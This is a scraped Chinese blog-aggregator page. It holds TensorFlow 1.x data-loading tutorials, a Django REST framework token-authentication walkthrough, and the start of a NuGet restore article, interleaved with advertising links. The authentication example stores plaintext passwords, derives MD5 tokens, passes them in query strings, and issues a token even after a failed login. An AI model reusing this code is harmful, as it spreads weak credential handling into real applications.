        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 10.DRF-認證

    10.DRF-認證

    Django rest framework源碼分析(1)—-認證

    一、基礎

    1.1.安裝

    兩種方式:

    • github
    • pip直接安裝
    pip install djangorestframework
    

    1.2.需要先了解的一些知識

    理解下面兩個知識點非常重要,django-rest-framework源碼中到處都是基於CBV和面向對象的封裝

    (1)面向對象封裝的兩大特性

    把同一類方法封裝到類中
    
    將數據封裝到對象中
    

    (2)CBV

    基於反射實現根據請求方式不同,執行不同的方法

    原理:url–>view方法–>dispatch方法(反射執行其它方法:GET/POST/PUT/DELETE等等)

    二、簡單實例

    2.1.settings

    先創建一個project和一個app(我這裏命名為API)

    首先要在settings的app中添加

    INSTALLED_APPS = [
        'rest_framework',
    ]
    

    2.2.url

    from django.contrib import admin
    from django.urls import path
    from API.views import AuthView
    
    urlpatterns = [
        path('admin/', admin.site.urls),
        path('api/v1/auth/',AuthView.as_view()),
    ]
    

    2.3.models

    一個保存用戶的信息

    一個保存用戶登錄成功后的token

    from django.db import models
    
    class UserInfo(models.Model):
        USER_TYPE = (
            (1,'普通用戶'),
            (2,'VIP'),
            (3,'SVIP')
        )
    
        user_type = models.IntegerField(choices=USER_TYPE)
        username = models.CharField(max_length=32)
        password = models.CharField(max_length=64)
    
    class UserToken(models.Model):
        user = models.OneToOneField(UserInfo,on_delete=models.CASCADE)
        token = models.CharField(max_length=64)
    

    2.4.views

    用戶登錄(返回token並保存到數據庫)

    from django.shortcuts import render
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(object):
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    

    2.5.利用postman發請求

    如果用戶名和密碼正確的話 會生成token值,下次該用戶再登錄時,token的值就會更新

    數據庫中可以看到token的值

    當用戶名或密碼錯誤時,拋出異常

    三、添加認證

    基於上面的例子,添加一個認證的類

    3.1.url

    path('api/v1/order/',OrderView.as_view()),
    

    3.2.views

    from django.shortcuts import render,HttpResponse
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    from rest_framework.request import Request
    from rest_framework import exceptions
    from rest_framework.authentication import BasicAuthentication
    
    ORDER_DICT = {
        1:{
            'name':'apple',
            'price':15
        },
        2:{
            'name':'dog',
            'price':100
        }
    }
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(object):
        '''用於用戶登錄驗證'''
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    
    
    class Authentication(APIView):
        '''認證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    
    class OrderView(APIView):
        '''訂單相關業務'''
    
        authentication_classes = [Authentication,]    #添加認證
        def get(self,request,*args,**kwargs):
            #request.user
            #request.auth
            ret = {'code':1000,'msg':None,'data':None}
            try:
                ret['data'] = ORDER_DICT
            except Exception as e:
                pass
            return JsonResponse(ret)
    

    3.3用postman發get請求

    請求的時候沒有帶token,可以看到會显示“用戶認證失敗”

    這樣就達到了認證的效果,django-rest-framework的認證是怎麼實現的呢,下面基於這個例子來剖析drf的源碼。

    四、drf的認證源碼分析

    源碼流程圖

    請求先到dispatch

    dispatch()主要做了兩件事

    • 封裝request
    • 認證  

    具體看我寫的代碼裏面的註釋

    def dispatch(self, request, *args, **kwargs):
    	"""
    	`.dispatch()` is pretty much the same as Django's regular dispatch,
    	but with extra hooks for startup, finalize, and exception handling.
    	 """
    	self.args = args
        self.kwargs = kwargs
        #對原始request進行加工,豐富了一些功能
        #Request(
        #     request,
        #     parsers=self.get_parsers(),
        #     authenticators=self.get_authenticators(),
        #     negotiator=self.get_content_negotiator(),
        #     parser_context=parser_context
        # )
        #request(原始request,[BasicAuthentications對象,])
        #獲取原生request,request._request
        #獲取認證類的對象,request.authticators
        #1.封裝request
        request = self.initialize_request(request, *args, **kwargs)
        self.request = request
        self.headers = self.default_response_headers  # deprecate?
    
        try:
            #2.認證
            self.initial(request, *args, **kwargs)
    
            # Get the appropriate handler method
            if request.method.lower() in self.http_method_names:
                handler = getattr(self, request.method.lower(),
                                      self.http_method_not_allowed)
            else:
                handler = self.http_method_not_allowed
    
            response = handler(request, *args, **kwargs)
    
    	except Exception as exc:
            response = self.handle_exception(exc)
    
    	self.response = self.finalize_response(request, response, *args, **kwargs)
        return self.response
    

    4.1.reuqest

    (1)initialize_request()

    可以看到initialize()就是封裝原始request

    def initialize_request(self, request, *args, **kwargs):
        """
        Returns the initial request object.
        """
        parser_context = self.get_parser_context(request)
    
        return Request(
            request,
            parsers=self.get_parsers(),
            #[BasicAuthentication(),],把對象封裝到request裏面了
            authenticators=self.get_authenticators(),    
            negotiator=self.get_content_negotiator(), parser_context=parser_context )
    

    (2)get_authenticators()

    通過列表生成式,返回對象的列表

    def get_authenticators(self):
        """
        Instantiates and returns the list of authenticators that this view can use.
        """
        return [auth() for auth in self.authentication_classes]
    

    (3)authentication_classes

    APIView裏面有個 authentication_classes 字段

    可以看到默認是去全局的配置文件找(api_settings)

    class APIView(View):
    
        # The following policies may be set at either globally, or per-view.
        renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
        parser_classes = api_settings.DEFAULT_PARSER_CLASSES
        authentication_classes = api_settings.DEFAULT_AUTHENTICATION_CLASSES
        throttle_classes = api_settings.DEFAULT_THROTTLE_CLASSES
        permission_classes = api_settings.DEFAULT_PERMISSION_CLASSES
        content_negotiation_class = api_settings.DEFAULT_CONTENT_NEGOTIATION_CLASS
        metadata_class = api_settings.DEFAULT_METADATA_CLASS
        versioning_class = api_settings.DEFAULT_VERSIONING_CLASS
    

    4.2.認證

    self.initial(request, *args, **kwargs)

    def dispatch(self, request, *args, **kwargs):
        """
        `.dispatch()` is pretty much the same as Django's regular dispatch,
        but with extra hooks for startup, finalize, and exception handling.
        """
        self.args = args
        self.kwargs = kwargs
        #對原始request進行加工,豐富了一些功能
        #Request(
        #     request,
        #     parsers=self.get_parsers(),
        #     authenticators=self.get_authenticators(),
        #     negotiator=self.get_content_negotiator(),
        #     parser_context=parser_context
        # )
        #request(原始request,[BasicAuthentications對象,])
        #獲取原生request,request._request
        #獲取認證類的對象,request.authticators
        #1.封裝request
        request = self.initialize_request(request, *args, **kwargs)
        self.request = request
        self.headers = self.default_response_headers  # deprecate?
    
        try:
            #2.認證
            self.initial(request, *args, **kwargs)
    
            # Get the appropriate handler method
            if request.method.lower() in self.http_method_names:
                handler = getattr(self, request.method.lower(),
                                      self.http_method_not_allowed)
            else:
                handler = self.http_method_not_allowed
    
            response = handler(request, *args, **kwargs)
    
    	except Exception as exc:
            response = self.handle_exception(exc)
    
    	self.response = self.finalize_response(request, response, *args, **kwargs)
        return self.response
    

    (1)initial()

    主要看 self.perform_authentication(request),實現認證

    def initial(self, request, *args, **kwargs):
        """
        Runs anything that needs to occur prior to calling the method handler.
        """
        self.format_kwarg = self.get_format_suffix(**kwargs)
    
        # Perform content negotiation and store the accepted info on the request
        neg = self.perform_content_negotiation(request)
        request.accepted_renderer, request.accepted_media_type = neg
    
        # Determine the API version, if versioning is in use.
        version, scheme = self.determine_version(request, *args, **kwargs)
        request.version, request.versioning_scheme = version, scheme
    
        # Ensure that the incoming request is permitted
        #3.實現認證
        self.perform_authentication(request)
        self.check_permissions(request)
        self.check_throttles(request)
    

    (2)perform_authentication()

    調用了request.user

    def perform_authentication(self, request):
        """
        Perform authentication on the incoming request.
    
    	Note that if you override this and simply 'pass', then authentication
    	will instead be performed lazily, the first time either
    	`request.user` or `request.auth` is accessed.
    	"""
        request.user
    

    (3)user

    request.user的request的位置

    點進去可以看到Request有個user方法,加 @property 表示調用user方法的時候不需要加括號“user()”,可以直接調用:request.user

    @property
    def user(self):
        """
        Returns the user associated with the current request, as authenticated
        by the authentication classes provided to the request.
        """
        if not hasattr(self, '_user'):
            with wrap_attributeerrors():
                #獲取認證對象,進行一步步的認證
                self._authenticate()
        return self._user
    

    (4)_authenticate()

    循環所有authenticator對象

    def _authenticate(self):
        """
        Attempt to authenticate the request using each authentication instance
        in turn.
        """
        #循環認證類的所有對象
        #執行對象的authenticate方法
        for authenticator in self.authenticators:
            try:
                #執行認證類的authenticate方法
                #這裏分三種情況
                #1.如果authenticate方法拋出異常,self._not_authenticated()執行
                #2.有返回值,必須是元組:(request.user,request.auth)
                #3.返回None,表示當前認證不處理,等下一個認證來處理
                user_auth_tuple = authenticator.authenticate(self)
            except exceptions.APIException:
                self._not_authenticated()
                raise
    
            if user_auth_tuple is not None:
                self._authenticator = authenticator
                self.user, self.auth = user_auth_tuple
                return
    
    	self._not_authenticated()
    

    返回值就是例子中的:

    token_obj.user-->>request.user
    token_obj-->>request.auth
    #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
    return (token_obj.user,token_obj)     #例子中的return
    

    當都沒有返回值,就執行self._not_authenticated(),相當於匿名用戶,沒有通過認證

    def _not_authenticated(self):
        """
        Set authenticator, user & authtoken representing an unauthenticated request.
    
    	Defaults are None, AnonymousUser & None.
    	"""
        self._authenticator = None
    
        if api_settings.UNAUTHENTICATED_USER:
            self.user = api_settings.UNAUTHENTICATED_USER()   #AnonymousUser匿名用戶
        else:
            self.user = None
    
    	if api_settings.UNAUTHENTICATED_TOKEN:
            self.auth = api_settings.UNAUTHENTICATED_TOKEN()  #None
    	else:
            self.auth = None
    

    面向對象知識:

    子類繼承 父類,調用方法的時候:

    • 優先去自己裏面找有沒有這個方法,有就執行自己的
    • 只有當自己裏面沒有這個方法的時候才會去父類找

    因為authenticate方法我們自己寫,所以當執行authenticate()的時候就是執行我們自己寫的認證

    父類中的authenticate方法

    def authenticate(self, request):
        return (self.force_user, self.force_token)
    

    我們自己寫的

    class Authentication(APIView):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    

    認證的流程就是上面寫的,弄懂了原理,再寫代碼就更容易理解為什麼了。

    4.3.配置文件

    繼續解讀源碼

    默認是去全局配置文件中找,所以我們應該在settings.py中配置好路徑

    api_settings源碼

    api_settings = APISettings(None, DEFAULTS, IMPORT_STRINGS)
    
    def reload_api_settings(*args, **kwargs):
        setting = kwargs['setting']
        if setting == 'REST_FRAMEWORK':
            api_settings.reload()
    

    setting中‘REST_FRAMEWORK’中找

    全局配置方法:

    API文件夾下面新建文件夾utils,再新建auth.py文件,裏面寫上認證的類

    settings.py

    #設置全局認證
    REST_FRAMEWORK = {
        "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]   #裏面寫你的認證的類的路徑
    }
    

    auth.py

    # API/utils/auth.py
    
    from rest_framework import exceptions
    from API import models
    
    
    class Authentication(object):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    

    在settings裏面設置的全局認證,所有業務都需要經過認證,如果想讓某個不需要認證,只需要在其中添加下面的代碼:

    authentication_classes = []    #裏面為空,代表不需要認證
    
    from django.shortcuts import render,HttpResponse
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    from rest_framework.request import Request
    from rest_framework import exceptions
    from rest_framework.authentication import BasicAuthentication
    
    ORDER_DICT = {
        1:{
            'name':'apple',
            'price':15
        },
        2:{
            'name':'dog',
            'price':100
        }
    }
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(APIView):
        '''用於用戶登錄驗證'''
    
        authentication_classes = []    #裏面為空,代表不需要認證
    
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    
    
    
    
    class OrderView(APIView):
        '''訂單相關業務'''
    
    
        def get(self,request,*args,**kwargs):
            # self.dispatch
            #request.user
            #request.auth
            ret = {'code':1000,'msg':None,'data':None}
            try:
                ret['data'] = ORDER_DICT
            except Exception as e:
                pass
            return JsonResponse(ret)
    
    API/view.py代碼
    

    再測試一下我們的代碼

    不帶token發請求

    帶token發請求

    五、drf的內置認證

    rest_framework裏面內置了一些認證,我們自己寫的認證類都要繼承內置認證類 “BaseAuthentication”

    4.1.BaseAuthentication源碼:

    class BaseAuthentication(object):
        """
        All authentication classes should extend BaseAuthentication.
        """
    
        def authenticate(self, request):
            """
            Authenticate the request and return a two-tuple of (user, token).
            """
            #內置的認證類,authenticate方法,如果不自己寫,默認則拋出異常
            raise NotImplementedError(".authenticate() must be overridden.")
    
        def authenticate_header(self, request):
            """
            Return a string to be used as the value of the `WWW-Authenticate`
            header in a `401 Unauthenticated` response, or `None` if the
            authentication scheme should return `403 Permission Denied` responses.
            """
            #authenticate_header方法,作用是當認證失敗的時候,返回的響應頭
            pass
    

    4.2.修改自己寫的認證類

    自己寫的Authentication必須繼承內置認證類BaseAuthentication

    # API/utils/auth/py
    
    from rest_framework import exceptions
    from API import models
    from rest_framework.authentication import BaseAuthentication
    
    
    class Authentication(BaseAuthentication):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    

    4.3.其它內置認證類

    rest_framework裏面還內置了其它認證類,我們主要用到的就是BaseAuthentication,剩下的很少用到

    六、總結

    自己寫認證類方法梳理

    (1)創建認證類

    • 繼承BaseAuthentication —>>1.重寫authenticate方法;2.authenticate_header方法直接寫pass就可以(這個方法必須寫)

    (2)authenticate()返回值(三種)

    • None —–>>>當前認證不管,等下一個認證來執行
    • raise exceptions.AuthenticationFailed(‘用戶認證失敗’) # from rest_framework import exceptions
    • 有返回值元祖形式:(元素1,元素2) #元素1複製給request.user; 元素2複製給request.auth

    (3)局部使用

    • authentication_classes = [BaseAuthentication,]

    (4)全局使用

    #設置全局認證
    REST_FRAMEWORK = {
        "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]
    }
    

    源碼流程

    —>>dispatch

        –封裝request

           —獲取定義的認證類(全局/局部),通過列表生成式創建對象 

         —initial

           —-peform_authentication

             —–request.user (每部循環創建的對象)

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    FB行銷專家,教你從零開始的技巧

  • nuget 包是如何還原的

    nuget 包是如何還原的

    Intro

    一直以來從來都只是簡單的用 nuget 包,最近想折騰一個東西,需要自己搞一個 nuget 包的解析,用戶指定 nuget 包的名稱和版本,然後去解析對應的 nuget 包並添加引用到項目,
    於是就想搞明白 nuget 包是怎麼還原的,對於本地已經下載了的 nuget 包又是怎麼找的

    Nuget 包的引用

    對於 dotnetcore 項目(這裏不算之前那種 project.json 的項目,只討論 *.csproj 這種項目),都是使用新的項目格式,PackageReference 模式

    示例:

    <PackageReference Include="WeihanLi.Common" Version="1.0.39" /> 
    

    對於 dotnet framework 項目,如果使用 PackageReference 包格式和上面一樣,如果是傳統的 packages.config 包形式,會有一個 packages.config 的文件包含引用的 nuget 包,文件內容示例:

    <?xml version="1.0" encoding="utf-8"?>
    <packages>
      <package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
    </packages>
    

    本文主要說明 dotnetcore 這種 PackageReference 這種形式

    nuget 包的還原

    nuget 包在第一次從 nuget.org 或自己的包源上下載之後會存放在本地的一個文件夾中,下次再需要相同版本的包還原時就會直接從本地的包中獲取,而這個保存的文件夾是 nuget 配置的一部分,在網上可以找到一些修改 nuget 默認保存 packages 文件夾的位置,但是這些文章都很類似,都只是給出了一個解決方案然而並沒有說明為什麼要這麼做,這麼做的根據是什麼並沒有說明,其實這種解決方案是添加了一個默認的 nuget 配置文件,修改了 nuget 包保存的位置

    nuget 配置

    默認配置

    nuget 會有一些默認的配置,可以參考官方文檔: https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section

